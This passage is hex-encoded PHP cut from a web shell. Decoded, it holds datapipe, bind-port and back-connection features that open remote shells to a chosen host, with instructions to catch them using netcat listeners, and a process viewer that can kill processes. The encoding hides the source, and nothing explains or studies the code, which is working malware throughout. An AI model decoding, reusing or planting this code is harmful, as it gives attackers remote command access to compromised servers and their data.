63 61 6C 70 6F 72 74 22 5D 2C 24 76 5B 31 5D 29 3B 0A 20 20 20 20 24 76 5B 31 5D 20 3D 20 73 74 72 5F 72 65 70 6C 61 63 65 28 22 25 72 65 6D 6F 74 65 68 6F 73 74 22 2C 24 64 61 74 61 70 69 70 65 5B 22 72 65 6D 6F 74 65 68 6F 73 74 22 5D 2C 24 76 5B 31 5D 29 3B 0A 20 20 20 20 24 76 5B 31 5D 20 3D 20 73 74 72 5F 72 65 70 6C 61 63 65 28 22 25 72 65 6D 6F 74 65 70 6F 72 74 22 2C 24 64 61 74 61 70 69 70 65 5B 22 72 65 6D 6F 74 65 70 6F 72 74 22 5D 2C 24 76 5B 31 5D 29 3B 0A 20 20 20 20 24 76 5B 31 5D 20 3D 20 73 74 72 5F 72 65 70 6C 61 63 65 28 22 2F 2F 22 2C 22 2F 22 2C 24 76 5B 31 5D 29 3B 0A 20 20 20 20 24 72 65 74 62 69 6E 64 20 3D 20 6D 79 73 68 65 6C 6C 65 78 65 63 28 24 76 5B 31 5D 2E 22 20 3E 20 2F 64 65 76 2F 6E 75 6C 6C 20 26 22 29 3B 0A 20 20 20 20 73 6C 65 65 70 28 35 29 3B 0A 20 20 20 20 24 73 6F 63 6B 20 3D 20 66 73 6F 63 6B 6F 70 65 6E 28 22 6C 6F 63 61 6C 68 6F 73 74 22 2C 24 64 61 74 61 70 69 70 65 5B 22 70 6F 72 74 22 5D 2C 24 65 72 72 6E 6F 2C 24 65 72 72 73 74 72 2C 35 29 3B 0A 20 20 20 20 69 66 20 28 21 24 73 6F 63 6B 29 20 7B 65 63 68 6F 20 22 49 20 63 61 6E 27 74 20 63 6F 6E 6E 65 63 74 20 74 6F 20 6C 6F 63 61 6C 68 6F 73 74 3A 22 2E 24 64 61 74 61 70 69 70 65 5B 22 6C 6F 63 61 6C 70 6F 72 74 22 5D 2E 22 21 20 49 20 74 68 69 6E 6B 20 79 6F 75 20 73 68 6F 75 6C 64 20 63 6F 6E 66 69 67 75 72 65 20 79 6F 75 72 20 66 69 72 65 77 61 6C 6C 2E 22 3B 7D 0A 20 20 20 20 65 6C 73 65 20 7B 65 63 68 6F 20 22 52 75 6E 6E 69 6E 67 20 64 61 74 61 70 69 70 65 2E 2E 2E 20 6F 6B 21 20 43 6F 6E 6E 65 63 74 20 74 6F 20 3C 62 3E 22 2E 67 65 74 65 6E 76 28 22 53 45 52 56 45 52 5F 41 44 44 52 22 29 2E 22 3A 22 2E 24 64 61 74 61 70 69 70 65 5B 22 70 6F 72 74 22 5D 2E 22 2C 20 61 6E 64 20 79 6F 75 20 77 69 6C 6C 20 63 6F 6E 6E 65 63 74 65 64 20 74 6F 20 22 2E 24 64 61 74 61 70 69 70 65 5B 22 72 65 6D 6F 74 65 61 64 64 72 22 5D 2E 22 3C 2F 62 3E 21 20 59 6F 75 20 73 68 6F 75 6C 64 20 75 73 65 20 4E 65 74 43 61 74 26 63 6F 70 79 3B 2C 20 72 75 6E 20 5C 22 3C 62 3E 6E 63 20 2D 76 20 22 2E 67 65 74 65 6E 76 28 22 53 45 52 56 45 52 5F 41 44 44 52 22 29 2E 22 20 22 2E 24 62 69 6E 64 5B 22 70 6F 72 74 22 5D 2E 22 3C 2F 62 3E 5C 22 21 3C 63 65 6E 74 65 72 3E 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 70 72 6F 63 65 73 73 65 73 26 67 72 65 70 3D 22 2E 62 61 73 65 6E 61 6D 65 28 24 62 69 6E 70 61 74 68 29 2E 22 5C 22 3E 3C 75 3E 56 69 65 77 20 64 61 74 61 70 69 70 65 20 70 72 6F 63 65 73 73 3C 2F 75 3E 3C 2F 61 3E 3C 2F 63 65 6E 74 65 72 3E 22 3B 7D 0A 20 20 20 7D 0A 20 20 20 65 63 68 6F 20 22 3C 62 72 3E 22 3B 0A 20 20 7D 0A 20 7D 0A 20 3F 3E 3C 62 3E 42 69 6E 64 69 6E 67 20 70 6F 72 74 3A 3C 2F 62 3E 3C 62 72 3E 3C 66 6F 72 6D 20 61 63 74 69 6F 6E 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 24 73 75 72 6C 3B 20 3F 3E 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 68 69 64 64 65 6E 20 6E 61 6D 65 3D 61 63 74 20 76 61 6C 75 65 3D 74 6F 6F 6C 73 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 68 69 64 64 65 6E 20 6E 61 6D 65 3D 64 20 76 61 6C 75 65 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 24 64 3B 20 3F 3E 22 3E 50 6F 72 74 3A 20 3C 69 6E 70 75 74 20 74 79 70 65 3D 74 65 78 74 20 6E 61 6D 65 3D 22 62 69 6E 64 5B 70 6F 72 74 5D 22 20 76 61 6C 75 65 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 62 69 6E 64 5B 22 70 6F 72 74 22 5D 29 3B 20 3F 3E 22 3E 26 6E 62 73 70 3B 50 61 73 73 77 6F 72 64 3A 20 3C 69 6E 70 75 74 20 74 79 70 65 3D 74 65 78 74 20 6E 61 6D 65 3D 22 62 69 6E 64 5B 70 61 73 73 5D 22 20 76 61 6C 75 65 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 62 69 6E 64 5B 22 70 61 73 73 22 5D 29 3B 20 3F 3E 22 3E 26 6E 62 73 70 3B 3C 73 65 6C 65 63 74 20 6E 61 6D 65 3D 22 62 69 6E 64 5B 73 72 63 5D 22 3E 3C 3F 70 68 70 0A 20 66 6F 72 65 61 63 68 28 24 62 6E 64 70 6F 72 74 73 72 63 73 20 61 73 20 24 6B 3D 3E 24 76 29 20 7B 65 63 68 6F 20 22 3C 6F 70 74 69 6F 6E 20 76 61 6C 75 65 3D 5C 22 22 2E 24 6B 2E 22 5C 22 22 3B 20 69 66 20 28 24 6B 20 3D 3D 20 24 62 69 6E 64 5B 22 73 72 63 22 5D 29 20 7B 65 63 68 6F 20 22 20 73 65 6C 65 63 74 65 64 22 3B 7D 20 65 63 68 6F 20 22 3E 22 2E 24 76 5B 30 5D 2E 22 3C 2F 6F 70 74 69 6F 6E 3E 22 3B 7D 0A 20 3F 3E 3C 2F 73 65 6C 65 63 74 3E 26 6E 62 73 70 3B 3C 69 6E 70 75 74 20 74 79 70 65 3D 73 75 62 6D 69 74 20 6E 61 6D 65 3D 62 69 6E 64 73 75 62 6D 69 74 20 76 61 6C 75 65 3D 22 42 69 6E 64 22 3E 3C 2F 66 6F 72 6D 3E 0A 3C 62 3E 42 61 63 6B 20 63 6F 6E 6E 65 63 74 69 6F 6E 3A 3C 2F 62 3E 3C 62 72 3E 3C 66 6F 72 6D 20 61 63 74 69 6F 6E 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 24 73 75 72 6C 3B 20 3F 3E 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 68 69 64 64 65 6E 20 6E 61 6D 65 3D 61 63 74 20 76 61 6C 75 65 3D 74 6F 6F 6C 73 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 68 69 64 64 65 6E 20 6E 61 6D 65 3D 64 20 76 61 6C 75 65 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 24 64 3B 20 3F 3E 22 3E 48 4F 53 54 3A 20 3C 69 6E 70 75 74 20 74 79 70 65 3D 74 65 78 74 20 6E 61 6D 65 3D 22 62 63 5B 68 6F 73 74 5D 22 20 76 61 6C 75 65 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 62 63 5B 22 68 6F 73 74 22 5D 29 3B 20 3F 3E 22 3E 26 6E 62 73 70 3B 50 6F 72 74 3A 20 3C 69 6E 70 75 74 20 74 79 70 65 3D 74 65 78 74 20 6E 61 6D 65 3D 22 62 63 5B 70 6F 72 74 5D 22 20 76 61 6C 75 65 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 62 63 5B 22 70 6F 72 74 22 5D 29 3B 20 3F 3E 22 3E 26 6E 62 73 70 3B 3C 73 65 6C 65 63 74 20 6E 61 6D 65 3D 22 62 63 5B 73 72 63 5D 22 3E 3C 3F 70 68 70 0A 66 6F 72 65 61 63 68 28 24 62 63 73 72 63 73 20 61 73 20 24 6B 3D 3E 24 76 29 20 7B 65 63 68 6F 20 22 3C 6F 70 74 69 6F 6E 20 76 61 6C 75 65 3D 5C 22 22 2E 24 6B 2E 22 5C 22 22 3B 20 69 66 20 28 24 6B 20 3D 3D 20 24 62 63 5B 22 73 72 63 22 5D 29 20 7B 65 63 68 6F 20 22 20 73 65 6C 65 63 74 65 64 22 3B 7D 20 65 63 68 6F 20 22 3E 22 2E 24 76 5B 30 5D 2E 22 3C 2F 6F 70 74 69 6F 6E 3E 22 3B 7D 0A 3F 3E 3C 2F 73 65 6C 65 63 74 3E 26 6E 62 73 70 3B 3C 69 6E 70 75 74 20 74 79 70 65 3D 73 75 62 6D 69 74 20 6E 61 6D 65 3D 62 63 73 75 62 6D 69 74 20 76 61 6C 75 65 3D 22 43 6F 6E 6E 65 63 74 22 3E 3C 2F 66 6F 72 6D 3E 0A 43 6C 69 63 6B 20 22 43 6F 6E 6E 65 63 74 22 20 6F 6E 6C 79 20 61 66 74 65 72 20 6F 70 65 6E 20 70 6F 72 74 20 66 6F 72 20 69 74 2E 20 59 6F 75 20 73 68 6F 75 6C 64 20 75 73 65 20 4E 65 74 43 61 74 26 63 6F 70 79 3B 2C 20 72 75 6E 20 22 3C 62 3E 6E 63 20 2D 6C 20 2D 6E 20 2D 76 20 2D 70 20 3C 3F 70 68 70 20 65 63 68 6F 20 24 62 63 5F 70 6F 72 74 3B 20 3F 3E 3C 2F 62 3E 22 21 3C 62 72 3E 3C 62 72 3E 0A 3C 62 3E 44 61 74 61 70 69 70 65 3A 3C 2F 62 3E 3C 62 72 3E 3C 66 6F 72 6D 20 61 63 74 69 6F 6E 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 24 73 75 72 6C 3B 20 3F 3E 22 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 68 69 64 64 65 6E 20 6E 61 6D 65 3D 61 63 74 20 76 61 6C 75 65 3D 74 6F 6F 6C 73 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 68 69 64 64 65 6E 20 6E 61 6D 65 3D 64 20 76 61 6C 75 65 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 24 64 3B 20 3F 3E 22 3E 48 4F 53 54 3A 20 3C 69 6E 70 75 74 20 74 79 70 65 3D 74 65 78 74 20 6E 61 6D 65 3D 22 64 61 74 61 70 69 70 65 5B 72 65 6D 6F 74 65 61 64 64 72 5D 22 20 76 61 6C 75 65 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 64 61 74 61 70 69 70 65 5B 22 72 65 6D 6F 74 65 61 64 64 72 22 5D 29 3B 20 3F 3E 22 3E 26 6E 62 73 70 3B 4C 6F 63 61 6C 20 70 6F 72 74 3A 20 3C 69 6E 70 75 74 20 74 79 70 65 3D 74 65 78 74 20 6E 61 6D 65 3D 22 64 61 74 61 70 69 70 65 5B 6C 6F 63 61 6C 70 6F 72 74 5D 22 20 76 61 6C 75 65 3D 22 3C 3F 70 68 70 20 65 63 68 6F 20 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 64 61 74 61 70 69 70 65 5B 22 6C 6F 63 61 6C 70 6F 72 74 22 5D 29 3B 20 3F 3E 22 3E 26 6E 62 73 70 3B 3C 73 65 6C 65 63 74 20 6E 61 6D 65 3D 22 64 61 74 61 70 69 70 65 5B 73 72 63 5D 22 3E 3C 3F 70 68 70 0A 66 6F 72 65 61 63 68 28 24 64 70 73 72 63 73 20 61 73 20 24 6B 3D 3E 24 76 29 20 7B 65 63 68 6F 20 22 3C 6F 70 74 69 6F 6E 20 76 61 6C 75 65 3D 5C 22 22 2E 24 6B 2E 22 5C 22 22 3B 20 69 66 20 28 24 6B 20 3D 3D 20 24 62 63 5B 22 73 72 63 22 5D 29 20 7B 65 63 68 6F 20 22 20 73 65 6C 65 63 74 65 64 22 3B 7D 20 65 63 68 6F 20 22 3E 22 2E 24 76 5B 30 5D 2E 22 3C 2F 6F 70 74 69 6F 6E 3E 22 3B 7D 0A 3F 3E 3C 2F 73 65 6C 65 63 74 3E 26 6E 62 73 70 3B 3C 69 6E 70 75 74 20 74 79 70 65 3D 73 75 62 6D 69 74 20 6E 61 6D 65 3D 64 70 73 75 62 6D 69 74 20 76 61 6C 75 65 3D 22 52 75 6E 22 3E 3C 2F 66 6F 72 6D 3E 3C 62 3E 4E 6F 74 65 3A 3C 2F 62 3E 20 73 6F 75 72 63 65 73 20 77 69 6C 6C 20 62 65 20 64 6F 77 6E 6C 6F 61 64 65 64 20 66 72 6F 6D 20 72 65 6D 6F 74 65 20 73 65 72 76 65 72 2E 3C 3F 70 68 70 0A 7D 0A 69 66 20 28 24 61 63 74 20 3D 3D 20 22 70 72 6F 63 65 73 73 65 73 22 29 0A 7B 0A 20 65 63 68 6F 20 22 3C 62 3E 50 72 6F 63 65 73 73 65 73 3A 3C 2F 62 3E 3C 62 72 3E 22 3B 0A 20 69 66 20 28 21 24 77 69 6E 29 20 7B 24 68 61 6E 64 6C 65 72 20 3D 20 22 70 73 20 2D 61 75 78 22 2E 28 24 67 72 65 70 3F 22 20 7C 20 67 72 65 70 20 27 22 2E 61 64 64 73 6C 61 73 68 65 73 28 24 67 72 65 70 29 2E 22 27 22 3A 22 22 29 3B 7D 0A 20 65 6C 73 65 20 7B 24 68 61 6E 64 6C 65 72 20 3D 20 22 74 61 73 6B 6C 69 73 74 22 3B 7D 0A 20 24 72 65 74 20 3D 20 6D 79 73 68 65 6C 6C 65 78 65 63 28 24 68 61 6E 64 6C 65 72 29 3B 0A 20 69 66 20 28 21 24 72 65 74 29 20 7B 65 63 68 6F 20 22 43 61 6E 27 74 20 65 78 65 63 75 74 65 20 5C 22 22 2E 24 68 61 6E 64 6C 65 72 2E 22 5C 22 21 22 3B 7D 0A 20 65 6C 73 65 0A 20 7B 0A 20 20 69 66 20 28 65 6D 70 74 79 28 24 70 72 6F 63 65 73 73 65 73 5F 73 6F 72 74 29 29 20 7B 24 70 72 6F 63 65 73 73 65 73 5F 73 6F 72 74 20 3D 20 24 73 6F 72 74 5F 64 65 66 61 75 6C 74 3B 7D 0A 20 20 24 70 61 72 73 65 73 6F 72 74 20 3D 20 70 61 72 73 65 73 6F 72 74 28 24 70 72 6F 63 65 73 73 65 73 5F 73 6F 72 74 29 3B 0A 20 20 69 66 20 28 21 69 73 5F 6E 75 6D 65 72 69 63 28 24 70 61 72 73 65 73 6F 72 74 5B 30 5D 29 29 20 7B 24 70 61 72 73 65 73 6F 72 74 5B 30 5D 20 3D 20 30 3B 7D 0A 20 20 24 6B 20 3D 20 24 70 61 72 73 65 73 6F 72 74 5B 30 5D 3B 0A 20 20 69 66 20 28 24 70 61 72 73 65 73 6F 72 74 5B 31 5D 20 21 3D 20 22 61 22 29 20 7B 24 79 20 3D 20 22 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 22 2E 24 64 73 70 61 63 74 2E 22 26 64 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 64 29 2E 22 26 70 72 6F 63 65 73 73 65 73 5F 73 6F 72 74 3D 22 2E 24 6B 2E 22 61 5C 22 3E 3C 69 6D 67 20 73 72 63 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 69 6D 67 26 69 6D 67 3D 73 6F 72 74 5F 64 65 73 63 5C 22 20 68 65 69 67 68 74 3D 5C 22 39 5C 22 20 77 69 64 74 68 3D 5C 22 31 34 5C 22 20 62 6F 72 64 65 72 3D 5C 22 30 5C 22 3E 3C 2F 61 3E 22 3B 7D 0A 20 20 65 6C 73 65 20 7B 24 79 20 3D 20 22 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 22 2E 24 64 73 70 61 63 74 2E 22 26 64 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 64 29 2E 22 26 70 72 6F 63 65 73 73 65 73 5F 73 6F 72 74 3D 22 2E 24 6B 2E 22 64 5C 22 3E 3C 69 6D 67 20 73 72 63 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 69 6D 67 26 69 6D 67 3D 73 6F 72 74 5F 61 73 63 5C 22 20 68 65 69 67 68 74 3D 5C 22 39 5C 22 20 77 69 64 74 68 3D 5C 22 31 34 5C 22 20 62 6F 72 64 65 72 3D 5C 22 30 5C 22 3E 3C 2F 61 3E 22 3B 7D 0A 20 20 24 72 65 74 20 3D 20 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 72 65 74 29 3B 0A 20 20 69 66 20 28 21 24 77 69 6E 29 0A 20 20 7B 0A 20 20 20 69 66 20 28 24 70 69 64 29 0A 20 20 20 7B 0A 20 20 20 20 69 66 20 28 69 73 5F 6E 75 6C 6C 28 24 73 69 67 29 29 20 7B 24 73 69 67 20 3D 20 39 3B 7D 0A 20 20 20 20 65 63 68 6F 20 22 53 65 6E 64 69 6E 67 20 73 69 67 6E 61 6C 20 22 2E 24 73 69 67 2E 22 20 74 6F 20 23 22 2E 24 70 69 64 2E 22 2E 2E 2E 20 22 3B 0A 20 20 20 20 69 66 20 28 70 6F 73 69 78 5F 6B 69 6C 6C 28 24 70 69 64 2C 24 73 69 67 29 29 20 7B 65 63 68 6F 20 22 4F 4B 2E 22 3B 7D 0A 20 20 20 20 65 6C 73 65 20 7B 65 63 68 6F 20 22 45 52 52 4F 52 2E 22 3B 7D 0A 20 20 20 7D 0A 20 20 20 77 68 69 6C 65 20 28 65 72 65 67 28 22 20 20 22 2C 24 72 65 74 29 29 20 7B 24 72 65 74 20 3D 20 73 74 72 5F 72 65 70 6C 61 63 65 28 22 20 20 22 2C 22 20 22 2C 24 72 65 74 29 3B 7D 0A 20 20 20 24 73 74 61 63 6B 20 3D 20 65 78 70 6C 6F 64 65 28 22 5C 6E 22 2C 24 72 65 74 29 3B 0A 20 20 20 24 68 65 61 64 20 3D 20 65 78 70 6C 6F 64 65 28 22 20 22 2C 24 73 74 61 63 6B 5B 30 5D 29 3B 0A 20 20 20 75 6E 73 65 74 28 24 73 74 61 63 6B 5B 30 5D 29 3B 0A 20 20 20 66 6F 72 28 24 69 3D 30 3B 24 69 3C 63 6F 75 6E 74 28 24 68 65 61 64 29 3B 24 69 2B 2B 29 0A 20 20 20 7B 0A 20 20 20 20 69 66 20 28 24 69 20 21 3D 20 24 6B 29 20 7B 24 68 65 61 64 5B 24 69 5D 20 3D 20 22 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 22 2E 24 64 73 70 61 63 74 2E 22 26 64 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 64 29 2E 22 26 70 72 6F 63 65 73 73 65 73 5F 73 6F 72 74 3D 22 2E 24 69 2E 24 70 61 72 73 65 73 6F 72 74 5B 31 5D 2E 22 5C 22 3E 3C 62 3E 22 2E 24 68 65 61 64 5B 24 69 5D 2E 22 3C 2F 62 3E 3C 2F 61 3E 22 3B 7D 0A 20 20 20 7D 0A 20 20 20 24 70 72 63 73 20 3D 20 61 72 72 61 79 28 29 3B 0A 20 20 20 66 6F 72 65 61 63 68 20 28 24 73 74 61 63 6B 20 61 73 20 24 6C 69 6E 65 29 0A 20 20 20 7B 0A 20 20 20 20 69 66 20 28 21 65 6D 70 74 79 28 24 6C 69 6E 65 29 29 0A 09 7B 0A 09 20 65 63 68 6F 20 22 3C 74 72 3E 22 3B 0A 20 20 20 20 20 24 6C 69 6E 65 20 3D 20 65 78 70 6C 6F 64 65 28 22 20 22 2C 24 6C 69 6E 65 29 3B 0A 20 20 20 20 20 24 6C 69 6E 65 5B 31 30 5D 20 3D 20 6A 6F 69 6E 28 22 20 22 2C 61 72 72 61 79 5F 73 6C 69 63 65 28 24 6C 69 6E 65 2C 31 30 29 29 3B 0A 20 20 20 20 20 24 6C 69 6E 65 20 3D 20 61 72 72 61 79 5F 73 6C 69 63 65 28 24 6C 69 6E 65 2C 30 2C 31 31 29 3B 0A 20 20 20 20 20 69 66 20 28 24 6C 69 6E 65 5B 30 5D 20 3D 3D 20 67 65 74 5F 63 75 72 72 65 6E 74 5F 75 73 65 72 28 29 29 20 7B 24 6C 69 6E 65 5B 30 5D 20 3D 20 22 3C 66 6F 6E 74 20 63 6F 6C 6F 72 3D 67 72 65 65 6E 3E 22 2E 24 6C 69 6E 65 5B 30 5D 2E 22 3C 2F 66 6F 6E 74 3E 22 3B 7D 0A 20 20 20 20 20 24 6C 69 6E 65 5B 5D 20 3D 20 22 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 70 72 6F 63 65 73 73 65 73 26 64 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 64 29 2E 22 26 70 69 64 3D 22 2E 24 6C 69 6E 65 5B 31 5D 2E 22 26 73 69 67 3D 39 5C 22 3E 3C 75 3E 4B 49 4C 4C 3C 2F 75 3E 3C 2F 61 3E 22 3B 0A 20 20 20 20 20 24 70 72 63 73 5B 5D 20 3D 20 24 6C 69 6E 65 3B 0A 20 20 20 20 20 65 63 68 6F 20 22 3C 2F 74 72 3E 22 3B 0A 20 20 20 20 7D 0A 20 20 20 7D 0A 20 20 7D 0A 20 20 65 6C 73 65 0A 20 20 7B 0A 20 20 20 77 68 69 6C 65 20 28 65 72 65 67 28 22 20 20 22 2C 24 72 65 74 29 29 20 7B 24 72 65 74 20 3D 20 73 74 72 5F 72 65 70 6C 61 63 65 28 22 20 20 22 2C 22 09 22 2C 24 72 65 74 29 3B 7D 0A 20 20 20 77 68 69 6C 65 20 28 65 72 65 67 28 22 20 20 22 2C 24 72 65 74 29 29 20 7B 24 72 65 74 20 3D 20 73 74 72 5F 72 65 70 6C 61 63 65 28 22 20 20 22 2C 22 09 22 2C 24 72 65 74 29 3B 7D 0A 20 20 20 77 68 69 6C 65 20 28 65 72 65 67 28 22 20 20 22 2C 24 72 65 74 29 29 20 7B 24 72 65 74 20 3D 20 73 74 72 5F 72 65 70 6C 61 63 65 28 22 20 20 22 2C 22 09 22 2C 24 72 65 74 29 3B 7D 0A 20 20 20 77 68 69 6C 65 20 28 65 72 65 67 28 22 20 20 22 2C 24 72 65 74 29 29 20 7B 24 72 65 74 20 3D 20 73 74 72 5F 72 65 70 6C 61 63 65 28 22 20 20 22 2C 22 09 22 2C 24 72 65 74 29 3B 7D 0A 20 20 20 77 68 69 6C 65 20 28 65 72 65 67 28 22 20 20 22 2C 24 72 65 74 29 29 20 7B 24 72 65 74 20 3D 20 73 74 72 5F 72 65 70 6C 61 63 65 28 22 20 20 22 2C 22 09 22 2C 24 72 65 74 29 3B 7D 0A 20 20 20 77 68 69 6C 65 20 28 65 72 65 67 28 22 20 20 22 2C 24 72 65 74 29 29 20 7B 24 72 65 74 20 3D 20 73 74 72 5F 72 65 70 6C 61 63 65 28 22 20 20 22 2C 22 09 22 2C 24 72 65 74 29 3B 7D 0A 20 20 20 77 68 69 6C 65 20 28 65 72 65 67 28 22 20 20 22 2C 24 72 65 74 29 29 20 7B 24 72 65 74 20 3D 20 73 74 72 5F 72 65 70 6C 61 63 65 28 22 20 20 22 2C 22 09 22 2C 24 72 65 74 29 3B 7D 0A 20 20 20 77 68 69 6C 65 20 28 65 72 65 67 28 22 20 20 22 2C 24 72 65 74 29 29 20 7B 24 72 65 74 20 3D 20 73 74 72 5F 72 65 70 6C 61 63 65 28 22 20 20 22 2C 22 09 22 2C 24 72 65 74 29 3B 7D 0A 20 20 20 77 68 69 6C 65 20 28 65 72 65 67 28 22 20 20 22 2C 24 72 65 74 29 29 20 7B 24 72 65 74 20 3D 20 73 74 72 5F 72 65 70 6C 61 63 65 28 22 20 20 22 2C 22 09 22 2C 24 72 65 74 29 3B 7D 0A 20 20 20 77 68 69 6C 65 20 28 65 72 65 67 28 22 09 09 22 2C 24 72 65 74 29 29 20 7B 24 72 65 74 20 3D 20 73 74 72 5F 72 65 70 6C 61 63 65 28 22 09 09 22 2C 22 09 22 2C 24 72 65 74 29 3B 7D 0A 20 20 20 77 68 69 6C 65 20 28 65 72 65 67 28 22 09 20 22 2C 24 72 65 74 29 29 20 7B 24 72 65 74 20 3D 20 73 74 72 5F 72 65 70 6C 61 63 65 28 22 09 20 22 2C 22 09 22 2C 24 72 65 74 29 3B 7D 0A 20 20 20 24 72 65 74 20 3D 20 63 6F 6E 76 65 72 74 5F 63 79 72 5F 73 74 72 69 6E 67 28 24 72 65 74 2C 22 64 22 2C 22 77 22 29 3B 0A 20 20 20 24 73 74 61 63 6B 20 3D 20 65 78 70 6C 6F 64 65 28 22 5C 6E 22 2C 24 72 65 74 29 3B 0A 20 20 20 75 6E 73 65 74 28 24 73 74 61 63 6B 5B 30 5D 2C 24 73 74 61 63 6B 5B 32 5D 29 3B 0A 20 20 20 24 73 74 61 63 6B 20 3D 20 61 72 72 61 79 5F 76 61 6C 75 65 73 28 24 73 74 61 63 6B 29 3B 0A 20 20 20 24 68 65 61 64 20 3D 20 65 78 70 6C 6F 64 65 28 22 09 22 2C 24 73 74 61 63 6B 5B 30 5D 29 3B 0A 20 20 20 24 68 65 61 64 5B 31 5D 20 3D 20 65 78 70 6C 6F 64 65 28 22 20 22 2C 24 68 65 61 64 5B 31 5D 29 3B 0A 20 20 20 24 68 65 61 64 5B 31 5D 20 3D 20 24 68 65 61 64 5B 31 5D 5B 30 5D 3B 0A 20 20 20 24 73 74 61 63 6B 20 3D 20 61 72 72 61 79 5F 73 6C 69 63 65 28 24 73 74 61 63 6B 2C 31 29 3B 0A 20 20 20 75 6E 73 65 74 28 24 68 65 61 64 5B 32 5D 29 3B 0A 20 20 20 24 68 65 61 64 20 3D 20 61 72 72 61 79 5F 76 61 6C 75 65 73 28 24 68 65 61 64 29 3B 0A 20 20 20 69 66 20 28 24 70 61 72 73 65 73 6F 72 74 5B 31 5D 20 21 3D 20 22 61 22 29 20 7B 24 79 20 3D 20 22 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 22 2E 24 64 73 70 61 63 74 2E 22 26 64 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 64 29 2E 22 26 70 72 6F 63 65 73 73 65 73 5F 73 6F 72 74 3D 22 2E 24 6B 2E 22 61 5C 22 3E 3C 69 6D 67 20 73 72 63 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 69 6D 67 26 69 6D 67 3D 73 6F 72 74 5F 64 65 73 63 5C 22 20 68 65 69 67 68 74 3D 5C 22 39 5C 22 20 77 69 64 74 68 3D 5C 22 31 34 5C 22 20 62 6F 72 64 65 72 3D 5C 22 30 5C 22 3E 3C 2F 61 3E 22 3B 7D 0A 20 20 20 65 6C 73 65 20 7B 24 79 20 3D 20 22 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 22 2E 24 64 73 70 61 63 74 2E 22 26 64 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 64 29 2E 22 26 70 72 6F 63 65 73 73 65 73 5F 73 6F 72 74 3D 22 2E 24 6B 2E 22 64 5C 22 3E 3C 69 6D 67 20 73 72 63 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 69 6D 67 26 69 6D 67 3D 73 6F 72 74 5F 61 73 63 5C 22 20 68 65 69 67 68 74 3D 5C 22 39 5C 22 20 77 69 64 74 68 3D 5C 22 31 34 5C 22 20 62 6F 72 64 65 72 3D 5C 22 30 5C 22 3E 3C 2F 61 3E 22 3B 7D 0A 20 20 20 69 66 20 28 24 6B 20 3E 20 63 6F 75 6E 74 28 24 68 65 61 64 29 29 20 7B 24 6B 20 3D 20 63 6F 75 6E 74 28 24 68 65 61 64 29 2D 31 3B 7D 0A 20 20 20 66 6F 72 28 24 69 3D 30 3B 24 69 3C 63 6F 75 6E 74 28 24 68 65 61 64 29 3B 24 69 2B 2B 29 0A 20 20 20 7B 0A 20 20 20 20 69 66 20 28 24 69 20 21 3D 20 24 6B 29 20 7B 24 68 65 61 64 5B 24 69 5D 20 3D 20 22 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 22 2E 24 64 73 70 61 63 74 2E 22 26 64 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 64 29 2E 22 26 70 72 6F 63 65 73 73 65 73 5F 73 6F 72 74 3D 22 2E 24 69 2E 24 70 61 72 73 65 73 6F 72 74 5B 31 5D 2E 22 5C 22 3E 3C 62 3E 22 2E 74 72 69 6D 28 24 68 65 61 64 5B 24 69 5D 29 2E 22 3C 2F 62 3E 3C 2F 61 3E 22 3B 7D 0A 20 20 20 7D 0A 20 20 20 24 70 72 63 73 20 3D 20 61 72 72 61 79 28 29 3B 0A 20 20 20 66 6F 72 65 61 63 68 20 28 24 73 74 61 63 6B 20 61 73 20 24 6C 69 6E 65 29 0A 20 20 20 7B 0A 20 20 20 20 69 66 20 28 21 65 6D 70 74 79 28 24 6C 69 6E 65 29 29 0A 20 20 20 20 7B 0A 